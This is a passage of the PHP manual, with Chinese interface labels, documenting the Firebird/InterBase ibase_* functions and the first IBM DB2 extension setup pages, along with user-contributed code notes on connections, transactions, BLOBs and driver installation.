The database argument has to be a valid path to database file on the server it resides on. If the server is not local, it must be prefixed with either 'hostname:' (TCP/IP), '//hostname/' (NetBEUI) or 'hostname@' (IPX/SPX), depending on the connection protocol used.

username

The user name. Can be set with the ibase.default_user php.ini directive.

password

The password for username. Can be set with the ibase.default_password php.ini directive.

charset

charset is the default character set for a database.

buffers

buffers is the number of database buffers to allocate for the server-side cache. If 0 or omitted, server chooses its own default.

dialect

dialect selects the default SQL dialect for any statement executed within a connection, and it defaults to the highest one supported by client libraries. Functional only with InterBase 6 and up.

role

Functional only with InterBase 5 and up.

sync

返回值

Returns an InterBase link identifier on success, or false on error.

参见

  • ibase_close() - Close a connection to an InterBase database
  • ibase_connect() - Open a connection to a database

User Contributed Notes

houston_roadrunner at yahoo dot com 19-Apr-2006 08:18
To make a connection to a firebird database with pconnect many people like to use the SYSDBA, or database owner.
example:
$dbConnection = ibase_pconnect('path to db','SYSDBA','masterkey');

The above is fine unless you want to login in various user that have different permissions. To use permission make roles in the database, either as the database creator (or SYSDBA) and grant the roles to the various users.

If you login with...
$dbConnection = ibase_pconnect('path to db', 'USERNAME', 'userpassword');
...interbase will default your user to the PUBLIC role, which is created when the database is create and usualy has select rights on tables only. To get the proper role you will need to use all the parameters, like this...
$user='USERNAME';
$password='userpassword';
$role='MANAGER_HR';
$dbConnection = ibase_pconnect('path to db', $user, $password, '', 0, 3, $role, 0);

BTW - The "path to db", is formed like this...
---------------------
'localhost:c:/firebird/test_db/test.fdb'
---------------------

reading the interbase material, it states 3 connection methods, PHP appears to have selected the tcp type for us. So you can use localhost, or I suspect(never tested this myself) a ip address.


Prepare a query for later binding of parameter placeholders and execution

  • ? ibase_pconnect
  • ibase_query ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Prepare a query for later binding of parameter placeholders and execution

ibase_prepare

(PHP 5, PHP 7 < 7.4.0)

ibase_prepare — Prepare a query for later binding of parameter placeholders and execution

说明

ibase_prepare(string $query): resource
ibase_prepare(resource $link_identifier, string $query): resource
ibase_prepare(resource $link_identifier, string $trans, string $query): resource

Prepare a query for later binding of parameter placeholders and execution (via ibase_execute()).

参数

query

An InterBase query.

link_identifier

An InterBase link identifier returned from ibase_connect(). If omitted, the last opened link is assumed.

trans

An InterBase transaction handle the query should be associated with. If omitted, the default transaction of the connection is assumed.

返回值

Returns a prepared query handle, or false on error.

User Contributed Notes

Andrew Champ 26-Jan-2016 03:06
<?php

/**
 * EDIT TO ABOVE: The above mentions "ibase_fetch_object".
 * In that case if should be using the object operator.
 * Example below.
 */

$query = "SELECT * FROM EMPLOYEES";
$p_sql = ibase_prepare($query);
$result = ibase_execute($p_sql);
while($row = ibase_fetch_object($result)){
echo $row->FIRSTNAME;
}
adamson dot ibus at gmail dot com 16-Aug-2012 01:14
ex.

<?php
$query = "SELECT * FROM EMPLOYEES";
$p_sql = ibase_prepare($query);
$result = ibase_execute($p_sql);
while($row = ibase_fetch_object($result)){
echo $row['FIRSTNAME'];
}


Execute a query on an InterBase database

  • ? ibase_prepare
  • ibase_restore ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Execute a query on an InterBase database

ibase_query

(PHP 5, PHP 7 < 7.4.0)

ibase_query — Execute a query on an InterBase database

说明

ibase_query(resource $link_identifier = ?, string $query, int $bind_args = ?): resource

Performs a query on an InterBase database.

参数

link_identifier

An InterBase link identifier. If omitted, the last opened link is assumed.

query

An InterBase query.

bind_args

返回值

If the query raises an error, returns false. If it is successful and there is a (possibly empty) result set (such as with a SELECT query), returns a result identifier. If the query was successful and there were no results, returns true.

Note:

In PHP 5.0.0 and up, this function will return the number of rows affected by the query for INSERT, UPDATE and DELETE statements. In order to retain backward compatibility, it will return true for these statements if the query succeeded without affecting any rows.

错误／异常

If you get some error like "arithmetic exception, numeric overflow, or string truncation. Cannot transliterate character between character sets" (this occurs when you try use some character with accents) when using this and after ibase_query() you must set the character set (i.e. ISO8859_1 or your current character set).

示例

Example #1 ibase_query() example

<?php

$host = 'localhost:/path/to/your.gdb';

$dbh = ibase_connect($host, $username, $password);
$stmt = 'SELECT * FROM tblname';

$sth = ibase_query($dbh, $stmt) or die(ibase_errmsg());

?>

参见

  • ibase_errmsg() - Return error messages
  • ibase_fetch_row() - Fetch a row from an InterBase database
  • ibase_fetch_object() - Get an object from a InterBase database
  • ibase_free_result() - Free a result set

User Contributed Notes

coladict at gmail dot com 28-Aug-2015 11:18
Contrary to it's description, the function does not always execute the query, unless you try fetching the results. I discovered this through the following code:

<?php
                $result = ibase_query($dbh,"SELECT boniid FROM PROC_INS_OBONI_DELIV_ADDBONITM ( ? , ? , ? , ? , null , ? )", $bon_id , $plucode2 , $amount , $note ,  $discount);
                $this->log_add(mb_convert_encoding("SELECT boniid FROM PROC_INS_OBONI_DELIV_ADDBONITM ( " . $bon_id . ", " . $plucode2 . ", " . $amount . ", " . $note . ", " . $nullparent . ", " . $discount . " )",'utf8','cp1251'));

                if (!$result){
                    $errmsg = ibase_errmsg();
                    ibase_rollback($dbh);
                    ibase_close($dbh);

                    $this->log_add("Item (" . $mid . " - " . $plucode2 . ") : Error returned (" . __LINE__ . "): " . $errmsg);
                    return "Error sending product ( $m_name). Error message:  $errmsg";
                }

                // item data does NOT enter the database if I don't call ibase_fetch_assoc
                $row = ibase_fetch_assoc($result);
?>

This problem may be limited to FireBird 1.5 or it may not be. Either way, be wary of it.
escoric at latinmail dot com 17-Aug-2004 10:43
/* If your work environment is windows */

$link=ibase_connect ($path, $usuario, $password, 'WIN1251');
chrisg at cordell dot com dot au 03-Jun-2004 11:57
Simple function to retrieve the results of an SQL statement into an array, will also cater for BLOB fields:

<?php
function interbase_sql_exec ($sql) {
    $dataArr = array();
    $host = "svrname:path\filename.GDB";
    $username = "whatever";
    $password = "******";
    $connection = ibase_connect ($host, $username, $password,'ISO8859_1', '100', '1');
    $rid = @ibase_query ($connection, $sql);
    if ($rid===false) errorHandle(ibase_errmsg(),$sql);
    $coln = ibase_num_fields($rid);
    $blobFields = array();
    for ($i=0; $i < $coln; $i++) {
        $col_info = ibase_field_info($rid, $i);
        if ($col_info["type"]=="BLOB") $blobFields[$i] = $col_info["name"];
    }
    while ($row = ibase_fetch_row ($rid)) {
        foreach ($blobFields as $field_num=>$field_name) {
            $blobid = ibase_blob_open($row[$field_num]);
            $row[$field_num] = ibase_blob_get($blobid,102400);
            ibase_blob_close($blobid);
        }
        $dataArr[] = $row;
    }
    ibase_close ($connection);
    return $dataArr;
}
?>
SenorTZ senortz at nospam dot yahoo dot com 24-Jul-2003 04:18
Two comments on interogating system tables in Interbase or Firebird; I hope it helps.

1. if you try to build a query string to extract data from a system table (that has the form "rdb$some_name"), you should divide the "rdb$some_name" table name in your query string using the string merge operator ".".
$query = "select rdb"."$"."relation_name as TABLE_NAME from rdb"."$"."relations where rdb"."$"."system_flag=0";

2. The second thing is related to the fact that you can later use (after the call to ibase_fetch_object) as field identifier the ALIAS used in the query for the "rdb$some_name" table.

Example:
$get_table_names_query = "select rdb"."$"."relation_name as TABLE_NAME from rdb"."$"."relations where rdb"."$"."system_flag=0";
//
$res_table_names_query = ibase_query($dbconnection, $get_table_names_query);
//
while ($row_table_names = ibase_fetch_object($res_table_names_query))
{
    print($row_table_names->TABLE_NAME);//alias used
}

Editor's note:
it is easier to use a backslash to protect the $-sign.
eg. "select rdb\$relation_name as TABLE_NAME from ..."
eric_cavalcanti at hotmail dot com 19-Jan-2002 12:11
Using BLOB

Insert BLOB:

 /* create blob */
$blob_id = ibase_blob_create();

 /* fill blob */
ibase_blob_add($blob_id, $var_datablob);

/* close new blob */
$blob_id_str = ibase_blob_close($blob_id);

/* insert into table  */
ibase_query("INSERT INTO BLOB_TABLE (ID, BLOB) VALUES (1, ?)",$blob_id_str);

Open BLOB:

/* query */
$set = ibase_query("SELECT BLOB FROM BLOB_TABLE WHERE ID = 1");

/* fetche a row */
$row = ibase_fetch_object($set);

/* open BLOB for read */
$blob_id = ibase_blob_open($row->BLOB);

/* get BLOB data */
$stringBLOB = ibase_blob_get($blob_id);

/* print BLOB */
echo $stringBLOB;

/* close new blob */
ibase_blob_close($blob_id);

/* free result */
ibase_free_result($set);


Initiates a restore task in the service manager and returns immediately

  • ? ibase_query
  • ibase_rollback_ret ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Initiates a restore task in the service manager and returns immediately

ibase_restore

(PHP 5, PHP 7 < 7.4.0)

ibase_restore — Initiates a restore task in the service manager and returns immediately

说明

ibase_restore(
resource $service_handle,
string $source_file,
string $dest_db,
int $options = 0,
bool $verbose = false
): mixed

This function passes the arguments to the (remote) database server. There it starts a new restore process. Therefore you won't get any responses.

参数

service_handle

A previously opened connection to the database server.

source_file

The absolute path on the server where the backup file is located.

dest_db

The path to create the new database on the server. You can also use database alias.

options

Additional options to pass to the database server for restore. The options parameter can be a combination of the following constants: IBASE_RES_DEACTIVATE_IDX, IBASE_RES_NO_SHADOW, IBASE_RES_NO_VALIDITY, IBASE_RES_ONE_AT_A_TIME, IBASE_RES_REPLACE, IBASE_RES_CREATE, IBASE_RES_USE_ALL_SPACE, IBASE_PRP_PAGE_BUFFERS, IBASE_PRP_SWEEP_INTERVAL, IBASE_RES_CREATE. Read the section about 预定义常量 for further information.

verbose

Since the restore process is done on the database server, you don't have any chance to get its output. This argument is useless.

返回值

成功时返回 true， 或者在失败时返回 false。

Since the restore process is done on the (remote) server, this function just passes the arguments to it. While the arguments are legal, you won't get false.

示例

Example #1 ibase_restore() example

<?php

// Attach to database server by ip address and port
$service = ibase_service_attach ('10.1.11.200/3050', 'sysdba', 'masterkey');

// Start the restore process on database server
// Restore employee backup to the new emps.fdb database
// Don't use any special arguments
ibase_restore($service, '/srv/backup/employees.fbk', '/srv/firebird/emps.fdb');

// Free the attached connection
ibase_service_detach ($service);
?>

Example #2 ibase_restore() example with arguments

<?php

// Attach to database server by name and default port
$service = ibase_service_attach ('fb-server.contoso.local', 'sysdba', 'masterkey');

// Start the restore process on database server
// Restore to employee database using alias.
// Restore without indixes. Replace existing database.
ibase_restore($service, '/srv/backup/employees.fbk', 'employees.fdb', IBASE_RES_DEACTIVATE_IDX | IBASE_RES_REPLACE);

// Free the attached connection
ibase_service_detach ($service);
?>

参见

  • ibase_backup() - Initiates a backup task in the service manager and returns immediately

User Contributed Notes

There are no user contributed notes for this page.


Roll back a transaction without closing it

  • ? ibase_restore
  • ibase_rollback ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Roll back a transaction without closing it

ibase_rollback_ret

(PHP 5, PHP 7 < 7.4.0)

ibase_rollback_ret — Roll back a transaction without closing it

说明

ibase_rollback_ret(resource $link_or_trans_identifier = null): bool

Rolls back a transaction without closing it.

参数

link_or_trans_identifier

If called without an argument, this function rolls back the default transaction of the default link. If the argument is a connection identifier, the default transaction of the corresponding connection will be rolled back. If the argument is a transaction identifier, the corresponding transaction will be rolled back. The transaction context will be retained, so statements executed from within this transaction will not be invalidated.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Roll back a transaction

  • ? ibase_rollback_ret
  • ibase_server_info ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Roll back a transaction

ibase_rollback

(PHP 5, PHP 7 < 7.4.0)

ibase_rollback — Roll back a transaction

说明

ibase_rollback(resource $link_or_trans_identifier = null): bool

Rolls back a transaction.

参数

link_or_trans_identifier

If called without an argument, this function rolls back the default transaction of the default link. If the argument is a connection identifier, the default transaction of the corresponding connection will be rolled back. If the argument is a transaction identifier, the corresponding transaction will be rolled back.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Request information about a database server

  • ? ibase_rollback
  • ibase_service_attach ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Request information about a database server

ibase_server_info

(PHP 5, PHP 7 < 7.4.0)

ibase_server_info — Request information about a database server

说明

ibase_server_info(resource $service_handle, int $action): string

参数

service_handle

A previously created connection to the database server.

action

A valid constant.

返回值

Returns mixed types depending on context.

示例

Example #1 ibase_service_attach() example

<?php
// Attach to the remote Firebird server
if (($service = ibase_service_attach('10.1.1.254/3050', 'sysdba', 'masterkey')) != FALSE) {

// Successfully attached.

// Output the info
echo "Server version: " . ibase_server_info($service, IBASE_SVC_SERVER_VERSION) . "\n";
echo "Server implementation: " . ibase_server_info($service, IBASE_SVC_IMPLEMENTATION) . "\n";
echo "Server users: " . print_r(ibase_server_info($service, IBASE_SVC_GET_USERS), true) . "\n";
echo "Server directory: " . ibase_server_info($service, IBASE_SVC_GET_ENV) . "\n";
echo "Server lock path: " . ibase_server_info($service, IBASE_SVC_GET_ENV_LOCK) . "\n";
echo "Server lib path: " . ibase_server_info($service, IBASE_SVC_GET_ENV_MSG) . "\n";
echo "Path of user db: " . ibase_server_info($service, IBASE_SVC_USER_DBPATH) . "\n";
echo "Established connections: " . print_r(ibase_server_info($service, IBASE_SVC_SVR_DB_INFO),true) . "\n";

// Detach from server (disconnect)
ibase_service_detach($service);

}
else {
// Output message on error
$conn_error = ibase_errmsg();
die($conn_error);
}
?>

以上示例会输出：

Server version: LI-V3.0.4.33054 Firebird 3.0
Server implementation: Firebird/Linux/AMD/Intel/x64
Server users: Array
(
    [0] => Array
        (
            [user_name] => SYSDBA
            [first_name] => Sql
            [middle_name] => Server
            [last_name] => Administrator
            [user_id] => 0
            [group_id] => 0
        )

)

Server directory: /etc/firebird/
Server lock path: /tmp/firebird/
Server lib path: /usr/lib64/firebird/lib/
Path of user db: /var/lib/firebird/secdb/security3.fdb
Established connections: Array
(
    [attachments] => 3
    [databases] => 2
    [0] => /srv/firebird/poss.fdb
    [1] => /srv/firebird/employees.fdb
)

User Contributed Notes

kgbfernando 19-Jan-2009 03:49
A Little Example

<?php
    // get server version and implementation strings
    if (($service = ibase_service_attach('localhost', 'sysdba', 'masterkey')) != FALSE) {
        $server_info  = ibase_server_info($service, IBASE_SVC_SERVER_VERSION)
                      . ' / '
                      . ibase_server_info($service, IBASE_SVC_IMPLEMENTATION);
        ibase_service_detach($service);
    }
    else {
        $ib_error = ibase_errmsg();
    }
echo $server_info;
?>


Connect to the service manager

  • ? ibase_server_info
  • ibase_service_detach ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Connect to the service manager

ibase_service_attach

(PHP 5, PHP 7 < 7.4.0)

ibase_service_attach — Connect to the service manager

说明

ibase_service_attach(string $host, string $dba_username, string $dba_password): resource|false

参数

host

The name or ip address of the database host. You can define the port by adding '/' and port number. If no port is specified, port 3050 will be used.

dba_username

The name of any valid user.

dba_password

The user's password.

返回值

Returns a Interbase / Firebird link identifier on success 或者在失败时返回 false.

示例

Example #1 ibase_service_attach() example

<?php
// Attach to the remote Firebird server by ip address
if (($service = ibase_service_attach('10.1.1.199', 'sysdba', 'masterkey')) != FALSE) {

// Successfully attached.
// Fetch server version (something like 'LI-V3.0.4.33054 Firebird 3.0')
$server_version = ibase_server_info($service, IBASE_SVC_SERVER_VERSION);

// Fetch server implementation (something like 'Firebird/Linux/AMD/Intel/x64')
$server_implementation = ibase_server_info($service, IBASE_SVC_IMPLEMENTATION);

// Detach from server (disconnect)
ibase_service_detach($service);

// Output the info
echo "Server version: " . $server_version . "<br/>";
echo "Server implementation: " . $server_implementation;
}
else {
// Output message on error
$conn_error = ibase_errmsg();
die($conn_error);
}

?>

Example #2 ibase_service_attach() example using hostname/port syntax

<?php
// Attach to the remote Firebird server by name. Use Port 3050.
if (($service = ibase_service_attach('FB-SRV-01.contoso.local/3050', 'sysdba', 'masterkey')) != FALSE) {

// Successfully attached.
// Fetch server version (something like 'LI-V3.0.4.33054 Firebird 3.0')
$server_version = ibase_server_info($service, IBASE_SVC_SERVER_VERSION);

// Fetch server implementation (something like 'Firebird/Linux/AMD/Intel/x64')
$server_implementation = ibase_server_info($service, IBASE_SVC_IMPLEMENTATION);

// Detach from server (disconnect)
ibase_service_detach($service);

// Output the info
echo "Server version: " . $server_version . "<br/>";
echo "Server implementation: " . $server_implementation;
}
else {
// Output message on error
$conn_error = ibase_errmsg();
die($conn_error);
}

?>

参见

  • ibase_service_detach() - Disconnect from the service manager

User Contributed Notes

Paul Vinkenoog 17-Apr-2008 05:46
The previous comment is incorrect. You can connect to the Service Manager as any valid user, and connecting to the Service Manager is not the same as connecting to the security database. However, some of the service functions (which you may subsequently call with the service handle returned by ibase_service_attach) are only available to SYSDBA.
houston_roadrunner at yahoo dot com 19-Apr-2006 09:47
When using this function it looks like you can only use SYSDBA as the user, as you are connecting to the security database. This is a restriction by the interbase/firebird server.
12-Apr-2006 01:58
An example of ibase_service_attach:
<?php
    //attach to the server running on localhost
    if (($service = ibase_service_attach('localhost', 'sysdba', 'masterkey')) != FALSE) {
        //retrieve server info
        $server_info  = ibase_server_info($service, IBASE_SVC_SERVER_VERSION)
                      . ' / '
                      . ibase_server_info($service, IBASE_SVC_IMPLEMENTATION);
        //detach from server (disconnect)
        ibase_service_detach($service);
    }
    else {
        $ib_error = ibase_errmsg();
    }
echo $server_info;
?>
Should echo something like:

 WI-T2.0.0.12484 Firebird 2.0 Release Candidate 1 / Firebird/x86/Windows NT

Taken/adapted from ibWebAdmin source code


Disconnect from the service manager

  • ? ibase_service_attach
  • ibase_set_event_handler ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Disconnect from the service manager

ibase_service_detach

(PHP 5, PHP 7 < 7.4.0)

ibase_service_detach — Disconnect from the service manager

说明

ibase_service_detach(resource $service_handle): bool

参数

service_handle

A previously created connection to the database server.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 ibase_service_detach() example

<?php
// Attach to the remote Firebird server by ip address
if (($service = ibase_service_attach('10.1.1.199', 'sysdba', 'masterkey')) != FALSE) {

// Successfully attached.
// Fetch server version (something like 'LI-V3.0.4.33054 Firebird 3.0')
$server_version = ibase_server_info($service, IBASE_SVC_SERVER_VERSION);

// Fetch server implementation (something like 'Firebird/Linux/AMD/Intel/x64')
$server_implementation = ibase_server_info($service, IBASE_SVC_IMPLEMENTATION);

// Detach from server (disconnect)
if(ibase_service_detach($service) == FALSE) {
echo "Error on service detach.";
}
else {
echo "Successfully detached from service.";
}

}
else {
// Output message on error
$conn_error = ibase_errmsg();
die($conn_error);
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Register a callback function to be called when events are posted

  • ? ibase_service_detach
  • ibase_trans ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Register a callback function to be called when events are posted

ibase_set_event_handler

(PHP 5, PHP 7 < 7.4.0)

ibase_set_event_handler — Register a callback function to be called when events are posted

说明

ibase_set_event_handler(callable $event_handler, string $event_name, string ...$even_names): resource
ibase_set_event_handler(
resource $connection,
callable $event_handler,
string $event_name,
string ...$event_names
): resource

This function registers a PHP user function as event handler for the specified events.

参数

event_handler

The callback is called with the event name and the link resource as arguments whenever one of the specified events is posted by the database.

The callback must return false if the event handler should be canceled. Any other return value is ignored. This function accepts up to 15 event arguments.

event_name

An event name.

event_names

At most 15 events allowed.

返回值

The return value is an event resource. This resource can be used to free the event handler using ibase_free_event_handler().

示例

Example #1 ibase_set_event_handler() example

<?php

function event_handler($event_name, $link)
{
if ($event_name == "NEW ORDER") {
// process new order
ibase_query($link, "UPDATE orders SET status='handled'");
} else if ($event_name == "DB_SHUTDOWN") {
// free event handler
return false;
}
}

ibase_set_event_handler($link, "event_handler", "NEW_ORDER", "DB_SHUTDOWN");
?>

参见

  • ibase_free_event_handler() - Cancels a registered event handler
  • ibase_wait_event() - Wait for an event to be posted by the database

User Contributed Notes

There are no user contributed notes for this page.


Begin a transaction

  • ? ibase_set_event_handler
  • ibase_wait_event ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Begin a transaction

ibase_trans

(PHP 5, PHP 7 < 7.4.0)

ibase_trans — Begin a transaction

说明

ibase_trans(int $trans_args = ?, resource $link_identifier = ?): resource
ibase_trans(resource $link_identifier = ?, int $trans_args = ?): resource

Begins a transaction.

Note:

The first call to ibase_trans() will not return the default transaction of a connection. All transactions started by ibase_trans() will be rolled back at the end of the script if they were not committed or rolled back by either ibase_commit() or ibase_rollback().

Note:

This function will accept multiple trans_args and link_identifier arguments. This allows transactions over multiple database connections, which are committed using a 2-phase commit algorithm. This means you can rely on the updates to either succeed in every database, or fail in every database. It does NOT mean you can use tables from different databases in the same query!

If you use transactions over multiple databases, you will have to specify both the link_id and transaction_id in calls to ibase_query() and ibase_prepare().

参数

trans_args

trans_args can be a combination of IBASE_READ, IBASE_WRITE, IBASE_COMMITTED, IBASE_CONSISTENCY, IBASE_CONCURRENCY, IBASE_REC_VERSION, IBASE_REC_NO_VERSION, IBASE_WAIT and IBASE_NOWAIT.

link_identifier

An InterBase link identifier. If omitted, the last opened link is assumed.

返回值

Returns a transaction handle, or false on error.

User Contributed Notes

marti at delfos dot net 06-Jun-2018 10:18
Prevent lock conflicts example:

$db = ibase_connect( ... );
$tr = ibase_trans(IBASE_COMMITTED + IBASE_NOWAIT, $db);
$result = ibase_query($tr, $sql);
ibase_commit($tr);
ibase_close($dh);
chAlx 16-Dec-2011 01:42
Note that on some platforms ibase_trans($dbh), ibase_trans(IBASE_DEFAULT, $dbh) and ibase_trans($dbh, IBASE_DEFAULT) are not the same, but will run without errors in most cases.
jon at tgpsolutions dot com 11-Jul-2002 06:56
When using transactions, you must execute queries using the transaction identifier as the link_identifier in ibase_query.

Example:

$db = ibase_connect( ... );
$tr = ibase_trans();
$result = ibase_query($tr, $sql1);
$result = ibase_query($tr, $sql2);
ibase_rollback($tr);

You must use ibase_query($tr, $sql1).  Calling ibase_query($db, $sql1) will not allow you to roll back - it will be commited when the script finishes executing.


Wait for an event to be posted by the database

  • ? ibase_trans
  • IBM DB2 ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Wait for an event to be posted by the database

ibase_wait_event

(PHP 5, PHP 7 < 7.4.0)

ibase_wait_event — Wait for an event to be posted by the database

说明

ibase_wait_event(string $event_name, string ...$event_names): string
ibase_wait_event(resource $connection, string $event_name, string ...$event_names): string

This function suspends execution of the script until one of the specified events is posted by the database. The name of the event that was posted is returned. This function accepts up to 15 event arguments.

参数

event_name

The event name.

event_names

返回值

Returns the name of the event that was posted.

参见

  • ibase_set_event_handler() - Register a callback function to be called when events are posted
  • ibase_free_event_handler() - Cancels a registered event handler

User Contributed Notes

There are no user contributed notes for this page.


IBM DB2, Cloudscape and Apache Derby

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • IBM DB2 函数
    • db2_autocommit — Returns or sets the AUTOCOMMIT state for a database connection
    • db2_bind_param — Binds a PHP variable to an SQL statement parameter
    • db2_client_info — Returns an object with properties that describe the DB2 database client
    • db2_close — Closes a database connection
    • db2_column_privileges — Returns a result set listing the columns and associated privileges for a table
    • db2_columns — Returns a result set listing the columns and associated metadata for a table
    • db2_commit — Commits a transaction
    • db2_conn_error — Returns a string containing the SQLSTATE returned by the last connection attempt
    • db2_conn_errormsg — Returns the last connection error message and SQLCODE value
    • db2_connect — Returns a connection to a database
    • db2_cursor_type — Returns the cursor type used by a statement resource
    • db2_escape_string — Used to escape certain characters
    • db2_exec — Executes an SQL statement directly
    • db2_execute — Executes a prepared SQL statement
    • db2_fetch_array — Returns an array, indexed by column position, representing a row in a result set
    • db2_fetch_assoc — Returns an array, indexed by column name, representing a row in a result set
    • db2_fetch_both — Returns an array, indexed by both column name and position, representing a row in a result set
    • db2_fetch_object — Returns an object with properties representing columns in the fetched row
    • db2_fetch_row — Sets the result set pointer to the next row or requested row
    • db2_field_display_size — Returns the maximum number of bytes required to display a column
    • db2_field_name — Returns the name of the column in the result set
    • db2_field_num — Returns the position of the named column in a result set
    • db2_field_precision — Returns the precision of the indicated column in a result set
    • db2_field_scale — Returns the scale of the indicated column in a result set
    • db2_field_type — Returns the data type of the indicated column in a result set
    • db2_field_width — Returns the width of the current value of the indicated column in a result set
    • db2_foreign_keys — Returns a result set listing the foreign keys for a table
    • db2_free_result — Frees resources associated with a result set
    • db2_free_stmt — Frees resources associated with the indicated statement resource
    • db2_get_option — Retrieves an option value for a statement resource or a connection resource
    • db2_last_insert_id — Returns the auto generated ID of the last insert query that successfully executed on this connection
    • db2_lob_read — Gets a user defined size of LOB files with each invocation
    • db2_next_result — Requests the next result set from a stored procedure
    • db2_num_fields — Returns the number of fields contained in a result set
    • db2_num_rows — Returns the number of rows affected by an SQL statement
    • db2_pclose — Closes a persistent database connection
    • db2_pconnect — Returns a persistent connection to a database
    • db2_prepare — Prepares an SQL statement to be executed
    • db2_primary_keys — Returns a result set listing primary keys for a table
    • db2_procedure_columns — Returns a result set listing stored procedure parameters
    • db2_procedures — Returns a result set listing the stored procedures registered in a database
    • db2_result — Returns a single column from a row in the result set
    • db2_rollback — Rolls back a transaction
    • db2_server_info — Returns an object with properties that describe the DB2 database server
    • db2_set_option — Set options for connection or statement resources
    • db2_special_columns — Returns a result set listing the unique row identifier columns for a table
    • db2_statistics — Returns a result set listing the index and statistics for a table
    • db2_stmt_error — Returns a string containing the SQLSTATE returned by an SQL statement
    • db2_stmt_errormsg — Returns a string containing the last SQL statement error message
    • db2_table_privileges — Returns a result set listing the tables and associated privileges in a database
    • db2_tables — Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

There are no user contributed notes for this page.


简介

These functions enable you to access IBM DB2 Universal Database, IBM Cloudscape, and Apache Derby databases using the DB2 Call Level Interface (DB2 CLI).

User Contributed Notes

There are no user contributed notes for this page.


安装/配置

Table of Contents

  • 需求
  • 安装
  • 运行时配置
  • 资源类型

User Contributed Notes

Morten Bjoernsvik 07-May-2008 12:07
On linux I've found that I explicitly have to add the -c <path to php.ini> with the shell and
PHPIniDir="/etc/php.ini" in php5.conf or httpd.conf otherwise the ibm_db2.so is not loaded.

It doesn't help setting the --sysconfdir=/etc for configure when compiling.

% php -m | grep db2
% php -c /etc -m | grep db2
ibm_db2
juraj dot hrapko at gmail dot com 27-Apr-2008 11:36
After  installation of ibm_db2 on Linux, you have to add into php.ini:
extension=/path_to_file/ibm_db2.so
ibm_db2.instance_name=instance

Dont forget the path to ibm_db2.so. As for me it does not work without the path.


需求

To connect to IBM DB2 Universal Database for Linux, UNIX, and Windows, or IBM Cloudscape, or Apache Derby, you must install an IBM DB2 Universal Database client on the same computer on which you are running PHP. The extension has been developed and tested with DB2 Version 8.2.

To connect to IBM DB2 Universal Database for z/OS or iSeries, you also require IBM DB2 Connect or the equivalent DRDA gateway software.

Requirements on Linux or Unix

The user invoking the PHP executable or SAPI must specify the DB2 instance before accessing these functions. You can set the name of the DB2 instance in php.ini using the ibm_db2.instance_name configuration option, or you can source the DB2 instance profile before invoking the PHP executable.

If you created a DB2 instance named db2inst1 in /home/db2inst1/, for example, you can add the following line to php.ini:

ibm_db2.instance_name=db2inst1
If you do not set this option in php.ini, you must issue the following command to modify your environment variables to enable access to DB2:
bash$ source /home/db2inst1/sqllib/db2profile
To enable your PHP-enabled Web server to access these functions, you must either set the ibm_db2.instance_name configuration option in php.ini, or source the DB2 instance environment in your Web server start script (typically /etc/init.d/httpd or /etc/init.d/apache).

User Contributed Notes

There are no user contributed notes for this page.


安装

To build the ibm_db2 extension, the DB2 application development header files and libraries must be installed on the system. DB2 does not install these by default, so it may be necessary to return to the DB2 installer and add this option. The DB2 Application Development Client includes the header files and is freely available for download from the IBM DB2 Universal Database » support site.

If the DB2 application development header files and libraries are added to a Linux or Unix operating system on which DB2 was already installed, the command db2iupdt -e must be issued to update the symbolic links to the header files and libraries in the DB2 instances.

ibm_db2 is a » PECL extension, so follow the instructions in PECL 扩展安装 to install the ibm_db2 extension for PHP. Issue the configure command to point to the location of the DB2 header files and libraries as follows:

bash$ ./configure --with-IBM_DB2=/path/to/DB2
The configure command defaults to /opt/IBM/db2/V8.1.

Note: Note for IIS users

If the ibm_db2 driver is being used with Microsoft Internet Information Server (IIS), it may be necessary to do the following:

  • Install DB2 with extended operating system security.
  • Add the PHP binary path to the PATH system environment variable (default C:\php\).
  • Create another system environment variable equal to the path where the PHP.INI file is located (eg: PHPRC = C:\php\).
  • Add the IUSR_COMPUTERNAME to the DB2USERS group.

User Contributed Notes

jean dot ferreira at gmail dot com 27-Sep-2013 08:16
==Installation ibm_db2 in PHP5, using Data Server Driver Package and pecl on Debian / Ubuntu==

==Advantages==
#You do not need DB2 (database) installed
#The ibm_db2 driver is downloaded and automatically compiled by pecl

==Steps==
#1- Install packages
apt-get install php-pear ksh zip

#2- Make directory
mkdir /opt/ibm

#3- Download Data Server Driver Package (dsdriver), as the architecture
(https://www-304.ibm.com/support/docview.wss?rs=4020&uid=swg27016878&wv=1)

#4- Decompress dsdriver at /opt/ibm/
tar -xvf v10.5fp1_linuxx64_dsdriver.tar.gz  (linux64)
or
tar -xvf v10.5fp1_linuxia32_dsdriver.tar.gz (linux32)

#5- Change permission instalation script  -  /opt/ibm/dsddriver
chmod 755 installDSDriver

#6- Run the installation script
ksh installDSDriver

#7- Download and install the driver using the pecl
pecl install ibm_db2

downloading ibm_db2-1.9.5.tgz ...
Starting to download ibm_db2-1.9.5.tgz (157,720 bytes)
................done: 157,720 bytes
5 source files, building
running: phpize
Configuring for:
PHP Api Version:         20090626
Zend Module Api No:      20090626
Zend Extension Api No:   220090626

#8- Configure the installation directory
DB2 Installation Directory? : /opt/ibm/dsdriver

Build process completed successfully
Installing '/usr/lib/php5/20090626/ibm_db2.so'
install ok: channel://pecl.php.net/ibm_db2-1.9.5
configuration option "php_ini" is not set to php.ini location
You should add "extension=ibm_db2.so" to php.ini

#9- Change php.ini
vim /etc/php5/apache2/php.ini
;;;;;;;;;;;;;;;;;;;;;;
; Dynamic Extensions ;
;;;;;;;;;;;;;;;;;;;;;;
